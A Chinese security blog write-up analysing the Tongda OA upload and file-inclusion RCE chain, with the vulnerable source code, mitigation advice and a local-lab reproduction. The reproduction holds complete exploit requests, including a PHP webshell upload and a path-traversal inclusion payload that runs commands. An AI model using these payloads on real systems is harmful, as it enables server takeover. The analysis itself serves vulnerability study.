通达OA任意文件上传/文件包含RCE漏洞

0x00 漏洞背景

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

通达信科在2020年3月13日发布了更新包,修复了在/ispirit/im/upload.php的上传漏洞与在/ispirit/interface/gateway.php的包含漏洞,上传漏洞被黑产利用,用于投放勒索病毒。在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0x01 漏洞分析

1. 漏洞原理

绕过身份验证文件上传部分
Webroot\ispirit\im\upload.php的源码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<?php

set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile') {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
}
} else {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('ÎÞÎļþÉÏ´«'));
echo json_encode(data2utf8($dataBack));
exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('ÎļþÉÏ´«Ê§°Ü'));
echo json_encode(data2utf8($dataBack));
exit;
}
if ($UPLOAD_MODE == '1') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . $AID . '\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('Êý¾Ý¿â²Ù×÷ʧ°Ü'));
echo json_encode(data2utf8($dataBack));
exit;
}
$dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
} else {
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
} else {
if ($UPLOAD_MODE == '3') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo '+OK ' . $ATTACHMENT_ID;
} else {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo '-ERR ' . _('Êý¾Ý¿â²Ù×÷ʧ°Ü');
exit;
}
if ($FILE_ID == 0) {
echo '-ERR ' . _('Êý¾Ý¿â²Ù×÷ʧ°Ü2');
exit;
}
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
}
}
}

看下开头这一块,就是绕过的核心部分,这里获取了一个P,如果P存在或者不为空,就要包含上面的auth.php,所以通过这里的参数”P”绕过登录认证,就可以去下面的上传了。

1
2
3
4
5
6
7
8
9
10
11
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}

再往后就是两个IF条件句,只要进去了都要exit退出,所以要绕过才能进入上传的逻辑里面,$DEST_UID = $_POST[‘DEST_UID’]; 参数可控,要求不能为0 也不能为空就可以了。1<=count($_FILES)判断是否有文件上传,如果上传包中存在文件且$UPLOAD_MODE == ‘1’则调用upload()上传。第一个下标必须是我们的input name值,因此我们的POST包的Content-Disposition: form-data; name=“ATTACHMENT”; filename=”jpg”中的name必须是’ATTACHMENT’。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('½ÓÊÕ·½IDÎÞЧ'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}

当前行的代码内容有upload函数,函数具体代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = true)
{
if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
if (!$OUTPUT) {
return _('参数含有非法字符。');
}
Message(_('错误'), _('参数含有非法字符。'));
exit;
}
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT) {
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') {
continue;
}
$data_charset = isset($_GET['data_charset']) ? $_GET['data_charset'] : (isset($_POST['data_charset']) ? $_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != '' ? td_iconv($ATTACHMENT['name'], $data_charset, MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文件'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));
}
$encode = mb_detect_encoding($ATTACH_NAME, array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
if ($encode != 'UTF-8') {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, 'utf-8', MYOA_CHARSET);
} else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}
if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_('文件名[%s]包含[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
}
if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), $ATTACH_NAME);
}
if ($ERROR_DESC == '') {
$ATTACH_NAME = str_replace('\'', '', $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败'), $ATTACH_NAME);
} else {
$ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
$ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
}
}
@unlink($ATTACH_FILE);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统限制(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_('文件[%s]的大小超过了表单限制'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_('文件[%s]上传不完整'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_('文件[%s]上传失败:找不到临时文件夹'), $ATTACH_NAME);
} else {
if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_('文件[%s]写入失败'), $ATTACH_NAME);
} else {
$ERROR_DESC = sprintf(_('未知错误[代码:%s]'), $ATTACH_ERROR);
}
}
}
}
}
}
if ($ERROR_DESC != '') {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS['ID'], $ATTACHMENTS['NAME'], $MODULE);
return $ERROR_DESC;
} else {
Message(_('错误'), $ERROR_DESC);
}
}
}
return $ATTACHMENTS;
}

看到is_uploadable()函数对文件名进行检查,跟进到该函数,位于inc/utility_file.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function is_uploadable($FILE_NAME)
{
    $POS = strrpos($FILE_NAME, '.');
    if ($POS === false) {
        $EXT_NAME = $FILE_NAME;
    } else {
        if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == 'php') {
            return false;
        }
        $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
    }
    if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
        return false;
    }
    if (MYOA_UPLOAD_LIMIT == 0) {
        return true;
    } else {
        if (MYOA_UPLOAD_LIMIT == 1) {
            return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
        } else {
            if (MYOA_UPLOAD_LIMIT == 2) {
                return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
            } else {
                return false;
            }
        }
    }
}

代码意思是查找“.” 在文件名中最后一次出现的位置,然后从存在”.“ 开始匹配3位,判断后缀是否为php,,如果为php则返回false,否则将”.”之前的作为EXT_NAME,.php不行,只能是 shell.php. 或者 shell.php.png。配合文件包含漏洞。

1
2
3
4
5
6
7
8
9
10
11
function is_uploadable($FILE_NAME)
{
    $POS = strrpos($FILE_NAME, '.');
    if ($POS === false) {
        $EXT_NAME = $FILE_NAME;
    } else {
        if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == 'php') {
            return false;
        }
        $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}

文件包含部分

文件位于webroot\ispirit\interface\gateway.php,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility_org.php';
if ($P != '') {
    if (preg_match('/[^a-z0-9;]+/i', $P)) {
        echo _('非法参数');
        exit;
    }
    session_id($P);
    session_start();
    session_write_close();
    if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
        echo _('RELOGIN');
        exit;
    }
}
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys => $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
            include_once $url;
        }
    }
    exit;
}

如果这里不传递参数P为空,就以绕过前面一系列的检测,随后从json中获取url参数的值,只要 general/、ispirit/、module/ 在url内,直接包含 $url。那么就可以直接构造json={“url”:”../../general/../../attach/im/xxxx/xxxxxxxxxx.jpg”}。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys => $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
            include_once $url;
        }
    }
    exit;
}

至此文件上传结合文件包含可直接getshell,且因为通达OA以system权限运行,故shell权限为system。

2. 漏洞验证

2.1 下载地址

1
http://www.tongda2000.com/download/down.php?VERSION=2019&code=86d3V9EzrapwAKhPkxfbNZDsfB48gbFvbS0QYsUr%2FnNWNP2e5Fn%2F&F=baidu_natural&K=

2.2 将下载的exe下载安装即可

2.3 在左下角开始找到通达网络办公进行服务启动。

image-20200414232909365

2.4 启动完成后访问http://127.0.0.1即可访问首页(如果端口设置的是默认80)。

image-20200414232935236

2.5 访问任意文件上传漏洞路径(这里的192.168.0.102是运行OA环境的虚拟机ip)。

1
/ispirit/im/upload.php //文件上传漏洞路径

image-20200414233023289

2.6 burp抓包上传小马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

image-20200415001900306

2.7 上传的文件不在根目录所以,需要文件包含的漏洞包含该漏洞进行利用,使用Burp Suite抓包发送,构造文件包含数据包并执行命令。

1
2
ispirit/interface/gateway.php //文件包含漏洞页面
json={"url":"../../general/../../attach/im/2004/1210160293.jpg"}&cmd=whoami //文件包含payload,文件名是上传后的返回包里的
1
2
3
4
5
6
7
8
9
10
11
12
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Forwarded-For: 127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

json={"url":"../../general/../../attach/im/2004/1210160293.jpg"}&cmd=whoami

image-20200415001943025

3. 影响版本

V11版

2017版

2016版

2015版

2013版

2013增强版
文件包含漏洞只有2017和V11.3版本存在

0x02 缓解措施

官方目前已发布更新的版本,升级OA到对应版本即可解决该漏洞风险。

官方更新链接 http://www.tongda2000.com/news/673.php

0x03 参考资料

[1] https://github.com/jas502n/OA-tongda-RCE

[2] https://blog.csdn.net/god_zzZ/article/details/105192808?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-7&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-7]()

打赏
  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2015-2020 Loki
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信